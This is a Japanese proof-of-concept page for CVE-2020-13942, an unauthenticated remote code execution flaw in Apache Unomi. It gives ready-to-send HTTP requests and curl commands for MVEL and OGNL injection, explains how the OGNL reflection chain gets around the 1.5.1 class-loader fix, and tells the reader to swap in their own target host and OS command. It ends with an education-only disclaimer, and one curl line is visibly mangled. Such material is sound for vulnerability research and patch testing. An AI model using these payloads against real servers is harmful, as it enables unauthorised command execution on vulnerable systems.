
CVE-2020-13942 未認証RCE POC(MVELおよびOGNLインジェクション経由)
脆弱性に関する元のブログ記事: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
RCE ベクターは2つあります: MVEL インジェクションと OGNL インジェクションです。どちらのベクターも異なるコードを標的としますが、ペイロードは比較的似ています。 以前のCVE修正 (https://nvd.nist.gov/vuln/detail/CVE-2020-11975) は OGNL 式の実行を制限しようとしましたが、MVEL を完全に見逃していました。CVE-2020-13942 は、バージョン 1.5.1 で行われた修正を回避します。
BurpSuite または curl を使用して、Unomi サーバーが公開する context.js\json に以下の HTTP リクエストを送信し、RCE を取得します。ターゲットの URL と OS コマンドに応じて Host と Content-length を変更してください。
どちらの POC でもレスポンスに HTTP/1.1 400 Header Folding が返る可能性があります。これはペイロード内の \r\n が乱れていることを意味します。もう一度コピー&ペーストしてみてください。
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'
OGNL POC は、バージョン 1.5.1 で導入された ClassLoader 制限を回避しました。Java リフレクション API を使用することで、評価される OGNL 式を制限する ClassLoader.loadClass メソッドをトリガーせずにオブジェクトを作成することが可能です。
ペイロードの OGNL 式の内訳:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") は java.lang.Runtime クラスオブジェクトを作成します。ここで #this はコンテキストオブジェクトへの参照です。#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] は、リフレクションを通じて Runtime クラスのメソッドリストを取得し、リストから getRuntime メソッドを選択します。式の {^ #this.name.equals(\"getRuntime\")} 部分は、名前が getRuntime のメソッドを探し、条件に一致するメソッドのリストを返します。このリストの最初で唯一のメソッドが getRuntime です。#runtimeobject = #runtimemethod.invoke(null,null) は getRuntime() メソッドを呼び出し、Runtime オブジェクトを取得します。(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) は、Runtime クラスのメソッドを取得し、メソッドリストから単一の String 引数を持つ Runtime.exec() を取得します。#execmethod.invoke(#runtimeobject,\"gnome-calculator\") は、指定された引数で Runtime.exec() を呼び出します。POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'
このページで提供されるすべての情報は教育目的のみです。このウェブサイトの情報は、コンピュータシステムのセキュリティを強化するためにのみ使用されるべきであり、悪意のある攻撃や損害を与える攻撃のために使用してはなりません。
この情報を悪用してコンピュータシステムに不正アクセスしてはなりません。また、所有者からの書面による許可なしに、自分が所有していないコンピュータに対してハッキング行為を行うことは違法であることを認識してください。
このウェブサイトで提供される情報の使用によって生じたいかなる直接的または間接的な損害についても、私は責任を負いません。